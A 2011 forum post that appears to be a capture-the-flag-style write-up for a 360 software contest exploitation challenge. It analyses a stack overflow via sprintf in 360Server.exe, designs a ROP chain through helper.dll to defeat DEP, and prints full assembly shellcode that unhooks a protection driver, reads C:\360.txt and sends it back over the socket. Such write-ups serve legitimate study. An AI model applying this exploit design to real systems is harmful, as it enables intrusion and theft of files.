吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 19683|回复: 25
收起左侧

[漏洞分析] 2011年 - 第三届360软件大赛题目 - 第二题 完全利用helper.dll设计ROP

[复制链接]
KiDebug 发表于 2011-4-29 16:08
本帖最后由 KiDebug 于 2011-4-29 16:14 编辑

响应Hmily号召,从空间转过来了,原来设计的ROP麻烦,不通用,经QEver、bugvuln的提示,完全利用helper.dll设计ROP,简单、通用。



2. 挑战2: 漏洞攻防 – Show me a token

2.1. 环境

服务端环境:

① 服务端所采用的操作系统为中文版Windows XP Professional SP3,已经通过http://update.microsoft.com/网站更新了所有的补丁;

② boot.ini文件系统启动选项设置了/noexecute=optin;

③ 关闭Windows自带的防火墙。

客户端环境:

① 客户端使用的操作系统为Windows 7 SP1 旗舰版。

② 代码编译工具:VC++ 6.0 SP6

③ 反汇编工具:IDA Pro 5.5

④ 动态调试工具:WinDBG 6.12.0002.633

2.2. 360Server.exe分析

2.2.1. main函数分析

① 

.text:00402898 lea ecx, [ebp+ProcName]
.text:0040289E push ecx ; lpProcName
.text:0040289F push offset LibFileName ; "kernel32.dll"
.text:004028A4 call ds:LoadLibraryA
.text:004028AA push eax ; hModule
.text:004028AB call ds:GetProcAddress
.text:004028B1 mov dword_414040, eax
.text:004028B6 push 1
.text:004028B8 call dword_414040

ebp+ProcName 处存放的字符串为SetProcessDEPPolicy,代码从kernel32.dll中获取SetProcessDEPPolicy函数的地址,存入dword_414040,调用SetProcessDEPPolicy(1),对360Server.exe启用永久DEP保护,因此在ROP中无法调用NtSetInformationProcess关闭360Server.exe的DEP保护。

② 

.text:004028D4 call ds:Start360Server
.text:004028DA call ds:Helpyou

调用helper.dll的两个导出函数,对这两个函数的分析见“helper.dll分析”

③ 

.text:004029D0 mov [ebp+addrlen], 10h
.text:004029DA lea ecx, [ebp+addrlen]
.text:004029E0 push ecx ; addrlen
.text:004029E1 lea edx, [ebp+name]
.text:004029E7 push edx ; addr
.text:004029E8 mov eax, [ebp+s]
.text:004029EE push eax ; s
.text:004029EF call ds:accept
.text:004029F5 mov [ebp+var_6BC], eax
.text:004029FB cmp [ebp+var_6BC], 0FFFFFFFFh
.text:00402A02 jz loc_402CEE

调用accept接受socket连接,套接字句柄保存在[ebp+var_6BC]中,在调用send函数回复消息时要用到,因此在覆盖缓冲区时要注意不能覆盖掉这个句柄。

④ 

.text:00402A15 push 0 ; flags
.text:00402A17 push 400h ; len
.text:00402A1C push offset buf ; buf
.text:00402A21 mov edx, [ebp+var_6BC]
.text:00402A27 push edx ; s
.text:00402A28 call ds:recv

调用recv接受消息,消息缓冲区为buf,地址为0x00414048

⑤ 

.text:00402A5E push 400h
.text:00402A63 push offset buf
.text:00402A68 lea eax, [ebp+var_5B0]
.text:00402A6E push eax
.text:00402A6F call memcpy ;
.text:00402A74 add esp, 0Ch
.text:00402A77 push 5 ; size_t
.text:00402A79 push offset aPass ; "PASS:"
.text:00402A7E lea ecx, [ebp+var_5B0]
.text:00402A84 push ecx ; void *
.text:00402A85 call _memcmp

0x00402A6F处调用memcpy,将接收到的消息复制到ebp+var_5B0处开始的栈空间里面;然后调用memcmp函数检测消息前5个字节是不是“PASS:”,如果不是的话回复“Hacker Attack”消息。

⑥ 

.text:00402A95 mov [ebp+var_5A6], 0
.text:00402A9C lea edx, [ebp+FileName]
.text:00402AA2 push edx ; lpFileName
.text:00402AA3 mov eax, [ebp+nBufferLength]
.text:00402AA9 push eax ; nBufferLength
.text:00402AAA lea ecx, [ebp+var_5AB]
.text:00402AB0 push ecx ; char *
.text:00402AB1 call sub_402450

将消息的第0xA个字节置0(0x5B0-0x5A6=0xA),调用sub_402450函数,传入ebp+var_5AB、0x104、 config.ini文件的全路径。ebp+var_5AB为消息的第0x5个字节(0x5B0-0x5AB=0x5),sub_402450函数的作用是对消息的第0x5~0x9个字节进行MD5加密,将加密后的字符串对比从config.ini文件[Authorization]中取出Passwd的值902B0D55FDDEF6F8D651FE1035B7D4BD,如果相等则返回1(验证成功),不相等则返回0(回复“Hacker Attack”消息后进入下一个消息接收循环)。通过MD5解密网站查询到,902B0D55FDDEF6F8D651FE1035B7D4BD解密结果是Error。

⑦ 

.text:00402AD5 mov [ebp+var_599], 0
.text:00402ADC mov [ebp+name.sa_data+9], 0
.text:00402AE3 push offset aClient ; "Client"
.text:00402AE8 lea eax, [ebp+var_5A1]
.text:00402AEE push eax ; char *
.text:00402AEF call sub_402DD0
.text:00402AF4 add esp, 8
.text:00402AF7 test eax, eax
.text:00402AF9 jz loc_402BC8
.text:00402AFF push 30h ; int
.text:00402B01 lea ecx, [ebp+var_4D0]
.text:00402B07 push ecx ; char *
.text:00402B08 call sub_402DB0

将消息的第0x17个字节置0(0x5B0-0x599=0x17),函数sub_402DD0检测从ebp+var_5A1开始是否含有“Client” 字符串。因此消息的第0xF~0x16个字节中必须包含有“Client”(0x5B0-0x5A1=0xF)。函数sub_402DB0检测从 ebp+var_4D0开始是否含有0x30(字符‘0’),因此消息从第0xE0个字节开始必须包含有0x30。

⑧ 

.text:00402B14 lea edx, [ebp+var_598]
.text:00402B1A push edx ; int
.text:00402B1B lea eax, [ebp+var_5A1]
.text:00402B21 push eax ; lpString
.text:00402B22 mov ecx, [ebp+nBufferLength]
.text:00402B28 push ecx ; nBufferLength
.text:00402B29 lea edx, [ebp+FileName]
.text:00402B2F push edx ; lpFileName
.text:00402B30 call sub_402600

调用sub_402600函数,传入config.ini文件的全路径、0x104、ebp+var_5A1(消息的第0x5B0-0x5A1=0xF个字节)、ebp+var_598(消息的第0x5B0-0x598=0x18个字节),下面将分析sub_402600函数。

2.2.2. sub_402600函数分析

①  从0x004026A8开始,调用GetPrivateProfileStringA函数从config.ini中取出Info2的值,存入 ebp+var_500中,取出Info1的值,存入ebp+var_550中;调用WritePrivateProfileStringA函数,将消息中从第0xF个字节开始的字符串写入config.ini中的Info1,从第0x18个字节开始的字符串写入Info2(在main函数中传入的 ebp+var_5A1、ebp+var_598)。

② 

.text:0040272B lea eax, [ebp+var_500]
.text:00402731 push eax
.text:00402732 lea ecx, [ebp+var_550]
.text:00402738 push ecx ; char *
.text:00402739 lea edx, [ebp+var_110]
.text:0040273F push edx ; char *
.text:00402740 call _sprintf

调用sprintf函数,将从ebp+var_500开始的字符串按照从ebp+var_550开始的字符串格式化后,写入从ebp+var_110开始的栈空间。漏洞就在这里!如果格式化后的字符串长度大于0x110的话,那么就会产生缓冲区溢出。

2.3. helper.dll分析

① Start360Server函数

Start360Server函数加载bprot.sys驱动,然后调用sub_414114B0函数,向驱动发送0x9C402400控制码。

② unHook函数

向驱动发送0x9C402404控制码。

③ Helpyou函数

无视

2.4. bprot.sys分析

处理IRP_MJ_DEVICE_CONTROL的派发函数为sub_108A8。

控制码为0x9C402400时,调用sub_104B6函数HOOK SSDT中的NtCreateFile和NtOpenFile两个函数,对应的HOOK函数分别为sub_104F6和sub_10592。在HOOK函数中,如果发现文件为\??\C:\360.txt,将返回0xC0000022(STATUS_ACCESS_DENIED)错误,这样将无法创建或打开C:\360.txt。

控制码为0x9C402404时,卸载NtCreateFile和NtOpenFile两个函数的HOOK,这样就可以正常创建、打开C:\360.txt。

2.5. 利用思路

综合以上的分析,利用思路如下:

①  在客户端调用send函数发送特定的消息,360Server.exe调用recv接收此消息,保存在buf中;在sub_402600函数里面,读取 Info1(Client)和Info2(Login...),然后消息中从第0xF个字节开始的字符串写入config.ini文件的Info1,从第 0x18个字节开始的字符串写入Info2;调用sprintf函数,此时格式化的是原config.ini文件的Info1(Client)和 Info2(Login...),没有任何问题;进入下一轮消息处理;

② 在客户端调用shutdown函数关闭连接,360Server.exe调用recv,返回值为0,buf中的数据保持不变,仍然是上一次调用send函数发送的数据,这样仍然能进入到 sub_402600函数里面;sub_402600函数读取Info1和Info2(此时读取到的是特定的消息),接下来调用sprintf函数格式化时,就可以产生缓冲区溢出,覆盖sub_402600函数的返回地址;

③ 通过ROP技术,调用VirtualProtect函数,设置消息缓冲区buf为可执行,因为buf的地址是固定的,而栈的地址可能会变;

④ 在shellcode中需要调用helper.dll的unHook函数去掉钩子,以便能读取C:\360.txt

⑤ 利用保存在[ebp+var_6BC]中的套接字句柄,回传C:\360.txt内容给客户端;

⑥ 平衡堆栈,让360Server.exe继续运行。

2.6. 消息格式

① 总结对main函数分析,能进入到sub_402600函数的消息格式需要满足:

前5个字节是“PASS:”;

第0x5~0x9个字节为Error;

第0xF~0x16个字节中必须包含有Client

从第0xE0个字节开始必须包含有0x30(字符‘0’);

如下图所示:

1.png

② 总结sub_402600函数分析:

消息中从第0xF个字节开始的字符串写入config.ini文件的Info1,从第0x18个字节开始的字符串写入Info2;如果Info1中包含%s ,也就是说Info1为“Client%s”,sprintf函数将把“Client”+Info2写入从ebp+var_110开始的栈空间(sub_402600函数的EBP)。

2.png

如上图所示,需要把sub_402600函数返回地址覆盖成ROP地址,则ROP地址应该位于Info2中的0x110+0x4-0x6=0x10E处。 Info2为消息中从第0x18个字节开始的字符串,所以ROP开始的地址应该位于消息中0x10E+0x18=0x126处。

通过动态调试可以计算得到:main函数的EBP- sub_402600函数的EBP=0x6F8,由于不能覆盖[ebp+var_6BC]中的套接字句柄(main函数的EBP),所以覆盖字符串的长度不能超过0x6F8+0x110-0x6BC=0x14C,即:

“Client”+Info2长度 < 0x14C

Info2长度 < 0x146

因此消息中第0x18~0x15C个字节可以用于放置Info2(共0x145个字节,实际上用不到这么多个字节)。

③  利用ROP设置消息缓冲区buf为可执行后,要跳到shellcode处执行,由于shellcode中可能含有null字符,如果放到Info2的区域中,调用sprintf函数可能会截断,从而无法完成覆盖,因此可以把shellcode放到Info2之后,对shellcode中可能用到的参数,以及调用某些函数时需要传入的地址参数,使用消息末端的字节。

综合以上分析,设置客户端发送的消息长度为0x400,初步格式如下图所示:
3.png

2.7. ROP设计(感谢QEver、bugvuln的提示!
bugvuln提到“利用helper.dll不但可以不费体力轻松过掉第2题的限制,而且通用性没得说,无视任何打没打补丁的XPSP3,甚至放到Win7都能获得文件内容 :) ”由于在main函数中调用SetProcessDEPPolicy(1),对360Server.exe启用永久DEP保护,所以无法调用 NtSetInformationProcess关闭360Server.exe的DEP保护,但可以调用VirtualProtect函数,设置消息缓冲区buf为可执行,因为buf的地址是固定的,而栈的地址可能会变;

整个ROP过程如下:

4.png

XCHG EAX,ESP后,新ESP指向的区域:

5.png

设计消息格式如下图所示:

6.png

2.8. shellcode设计

shellcode流程如下:

① 恢复EBP为main函数的EBP:进入shellcode时,取出_TEB中取出StackBase,计算得到原main函数的EBP;

② 调用helper.dll导出函数unHook,去掉对NtCreateFile和NtOpenFile两个函数的钩子;

③ 调用CreateFileA,打开C:\360.txt,返回的文件句柄保存在0x00414440处;

④ 调用ReadFile,读取C:\360.txt内容,保存在ebp-5B0h开始的缓冲区中;

⑤ 调用CloseHandle,关闭文件句柄;

⑥ 调用send,利用[ebp-6BCh]处的套接字句柄,回传C:\360.txt内容给客户端;

⑦ 平衡堆栈,返回main函数继续执行:sub_402600函数返回地址为0x00402B35。


汇编代码如下:
mov ebp,fs:[4h] ;_TEB->_NT_TIB->StackBase
sub ebp,88h ;恢复成main函数的EBP
mov [ebp-6E0h],104h;唯一覆盖了的,恢复成原样
lea esp,[ebp-200h];抬高栈顶,用原来的栈空间来保存下面shellcode的push、pop等等

mov ebx,414114E0h
call ebx ;去掉驱动的HOOK

push 0
push 80h ;FILE_ATTRIBUTE_NORMAL
push 3;OPEN_EXISTING
push 0
push 1;FILE_SHARE_READ
push 80000000h ;GENERIC_READ
push 00414436h ;C:\360.txt地址
mov ebx,00410110h
call [ebx] ;CreateFileA

mov ebx,00414440h
mov [ebx],eax

push 0
push 414444h
push 400h
lea ebx,[ebp-5B0h]
push ebx
push eax
mov ebx,00410008h
call [ebx] ;ReadFile

mov ebx,00414440h
push [ebx]
mov ebx,00410058h
call [ebx] ;CloseHandle

push 0
mov ebx,414444h
mov ebx,[ebx]
push ebx
lea ebx,[ebp-5B0h]
push ebx
push [ebp-6BCh]
mov ebx,00410154h
call [ebx] ;send

mov esp,ebp
sub esp,6f0h ;平横堆栈,返回main函数继续执行
push 00402B35h
ret

2.9. 客户端程序

客户端程序根据上面分析得到的消息格式构造消息,实现了手动输入IP地址的功能,创建套接字,发送、接收消息的代码来自MSDN,对接收到的消息直接调用printf("Bytes received: %d\n%s\n", iResult,recvbuf);按字符串输出。

3. 参考资料

① PE文件格式:《加密与解密》第三版;
② ROP:Exploit 编写系列教程第十篇用ROP束缚DEP-酷比魔方,http://bbs.pediy.com/showthread.php?t=120952;

附源代码和EXE
Client.rar (22.09 KB, 下载次数: 30)

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

juanmaoking 发表于 2011-4-29 16:09
望尘莫及啊。。。
tcwjw 发表于 2011-4-29 16:48
raf 发表于 2011-4-29 16:54
riusksk 发表于 2011-5-2 15:35
神奇的ROP,这次看雪的exploitme比赛居然没考过dep,aslr,ROP用不上啊……
f5563839 发表于 2011-5-4 21:09
在讲什么啊   是破解吗?
gqa137 发表于 2011-5-8 22:44
留着以后学习
william_ni 发表于 2011-6-12 19:08
学习了。感觉差距好大哟。
overflowexp 发表于 2011-7-3 01:26
分析的特别详细
可见楼主的功底特别深厚,膜拜
yaolun92 发表于 2011-7-12 13:22
表示没完全看懂~~
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 10:58

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表